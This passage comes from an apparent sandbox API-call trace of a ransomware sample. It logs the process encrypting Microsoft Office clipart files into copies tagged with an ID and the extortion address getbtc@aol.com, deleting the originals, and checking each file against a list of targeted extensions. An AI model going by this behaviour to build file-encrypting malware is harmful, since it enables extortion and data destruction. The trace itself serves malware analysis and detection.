nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xa8c, lpOverlapped=0x0) returned 1 [0249.036] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0249.037] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.037] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.037] SetEndOfFile (hFile=0x3b4) returned 1 [0249.037] CloseHandle (hObject=0x3b4) returned 1 [0249.037] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.037] SetEndOfFile (hFile=0x200) returned 1 [0249.039] CloseHandle (hObject=0x200) returned 1 [0249.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0249.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.040] lstrlenW (lpString=".doc") returned 4 [0249.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.040] lstrlenW (lpString=".docx") returned 5 [0249.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.040] lstrlenW (lpString=".pdf") returned 4 [0249.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.040] lstrlenW (lpString=".xls") returned 4 [0249.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.040] lstrlenW (lpString=".xlsx") returned 5 [0249.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.040] lstrlenW (lpString=".ppt") returned 4 [0249.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.040] lstrlenW (lpString=".zip") returned 4 [0249.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.041] lstrlenW (lpString=".rar") returned 4 [0249.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.041] lstrlenW (lpString=".bz2") returned 4 [0249.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.041] lstrlenW (lpString=".7z") returned 3 [0249.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.041] lstrlenW (lpString=".dbf") returned 4 [0249.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.041] lstrlenW (lpString=".1cd") returned 4 [0249.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.041] lstrlenW (lpString=".jpg") returned 4 [0249.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.041] lstrlenW (lpString=".doc") returned 4 [0249.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.041] lstrlenW (lpString=".docx") returned 5 [0249.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.041] lstrlenW (lpString=".pdf") returned 4 [0249.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.041] lstrlenW (lpString=".xls") returned 4 [0249.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.041] lstrlenW (lpString=".xlsx") returned 5 [0249.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.041] lstrlenW (lpString=".ppt") returned 4 [0249.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.041] lstrlenW (lpString=".zip") returned 4 [0249.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.041] lstrlenW (lpString=".rar") returned 4 [0249.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.041] lstrlenW (lpString=".bz2") returned 4 [0249.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.042] lstrlenW (lpString=".7z") returned 3 [0249.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.042] lstrlenW (lpString=".dbf") returned 4 [0249.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.042] lstrlenW (lpString=".1cd") returned 4 [0249.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0249.042] lstrlenW (lpString=".jpg") returned 4 [0249.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.042] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.042] lstrlenW (lpString="EN00006_.WMF") returned 12 [0249.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.050] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=13936) returned 1 [0249.050] CloseHandle (hObject=0x3b0) returned 1 [0249.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0249.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.051] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.051] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.051] GetLastError () returned 0x0 [0249.051] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3670, lpOverlapped=0x0) returned 1 [0249.055] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3680, lpOverlapped=0x0) returned 1 [0249.056] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.056] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.056] SetEndOfFile (hFile=0x204) returned 1 [0249.056] CloseHandle (hObject=0x204) returned 1 [0249.056] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.057] SetEndOfFile (hFile=0x3b0) returned 1 [0249.058] CloseHandle (hObject=0x3b0) returned 1 [0249.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0249.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.060] lstrlenW (lpString=".doc") returned 4 [0249.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.060] lstrlenW (lpString=".docx") returned 5 [0249.060] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.060] lstrlenW (lpString=".pdf") returned 4 [0249.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.060] lstrlenW (lpString=".xls") returned 4 [0249.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.060] lstrlenW (lpString=".xlsx") returned 5 [0249.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.060] lstrlenW (lpString=".ppt") returned 4 [0249.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.060] lstrlenW (lpString=".zip") returned 4 [0249.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.060] lstrlenW (lpString=".rar") returned 4 [0249.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.060] lstrlenW (lpString=".bz2") returned 4 [0249.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.060] lstrlenW (lpString=".7z") returned 3 [0249.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.060] lstrlenW (lpString=".dbf") returned 4 [0249.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.060] lstrlenW (lpString=".1cd") returned 4 [0249.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.060] lstrlenW (lpString=".jpg") returned 4 [0249.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.061] lstrlenW (lpString=".doc") returned 4 [0249.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.061] lstrlenW (lpString=".docx") returned 5 [0249.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.061] lstrlenW (lpString=".pdf") returned 4 [0249.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.061] lstrlenW (lpString=".xls") returned 4 [0249.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.061] lstrlenW (lpString=".xlsx") returned 5 [0249.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.061] lstrlenW (lpString=".ppt") returned 4 [0249.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.061] lstrlenW (lpString=".zip") returned 4 [0249.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.061] lstrlenW (lpString=".rar") returned 4 [0249.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.061] lstrlenW (lpString=".bz2") returned 4 [0249.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.061] lstrlenW (lpString=".7z") returned 3 [0249.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.061] lstrlenW (lpString=".dbf") returned 4 [0249.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.061] lstrlenW (lpString=".1cd") returned 4 [0249.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0249.061] lstrlenW (lpString=".jpg") returned 4 [0249.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.061] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.061] lstrlenW (lpString="EN00222_.WMF") returned 12 [0249.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.062] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=12356) returned 1 [0249.062] CloseHandle (hObject=0x3b0) returned 1 [0249.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0249.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.062] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.062] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.063] GetLastError () returned 0x0 [0249.063] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3044, lpOverlapped=0x0) returned 1 [0249.064] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3050, lpOverlapped=0x0) returned 1 [0249.065] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.065] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.066] SetEndOfFile (hFile=0x204) returned 1 [0249.066] CloseHandle (hObject=0x204) returned 1 [0249.066] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.066] SetEndOfFile (hFile=0x3b0) returned 1 [0249.068] CloseHandle (hObject=0x3b0) returned 1 [0249.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0249.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.069] lstrlenW (lpString=".doc") returned 4 [0249.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.069] lstrlenW (lpString=".docx") returned 5 [0249.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.069] lstrlenW (lpString=".pdf") returned 4 [0249.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.069] lstrlenW (lpString=".xls") returned 4 [0249.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.069] lstrlenW (lpString=".xlsx") returned 5 [0249.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.069] lstrlenW (lpString=".ppt") returned 4 [0249.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.069] lstrlenW (lpString=".zip") returned 4 [0249.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.069] lstrlenW (lpString=".rar") returned 4 [0249.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.069] lstrlenW (lpString=".bz2") returned 4 [0249.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.069] lstrlenW (lpString=".7z") returned 3 [0249.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.069] lstrlenW (lpString=".dbf") returned 4 [0249.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.069] lstrlenW (lpString=".1cd") returned 4 [0249.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.069] lstrlenW (lpString=".jpg") returned 4 [0249.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.069] lstrlenW (lpString=".doc") returned 4 [0249.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.069] lstrlenW (lpString=".docx") returned 5 [0249.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.070] lstrlenW (lpString=".pdf") returned 4 [0249.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.070] lstrlenW (lpString=".xls") returned 4 [0249.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.070] lstrlenW (lpString=".xlsx") returned 5 [0249.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.070] lstrlenW (lpString=".ppt") returned 4 [0249.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.070] lstrlenW (lpString=".zip") returned 4 [0249.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.070] lstrlenW (lpString=".rar") returned 4 [0249.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.070] lstrlenW (lpString=".bz2") returned 4 [0249.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.070] lstrlenW (lpString=".7z") returned 3 [0249.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.070] lstrlenW (lpString=".dbf") returned 4 [0249.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.070] lstrlenW (lpString=".1cd") returned 4 [0249.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0249.070] lstrlenW (lpString=".jpg") returned 4 [0249.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.070] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.070] lstrlenW (lpString="EN00242_.WMF") returned 12 [0249.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.204] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=6780) returned 1 [0249.204] CloseHandle (hObject=0x3bc) returned 1 [0249.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0249.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.207] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.207] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.208] GetLastError () returned 0x0 [0249.208] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1a7c, lpOverlapped=0x0) returned 1 [0249.250] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1a80, lpOverlapped=0x0) returned 1 [0249.251] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.251] 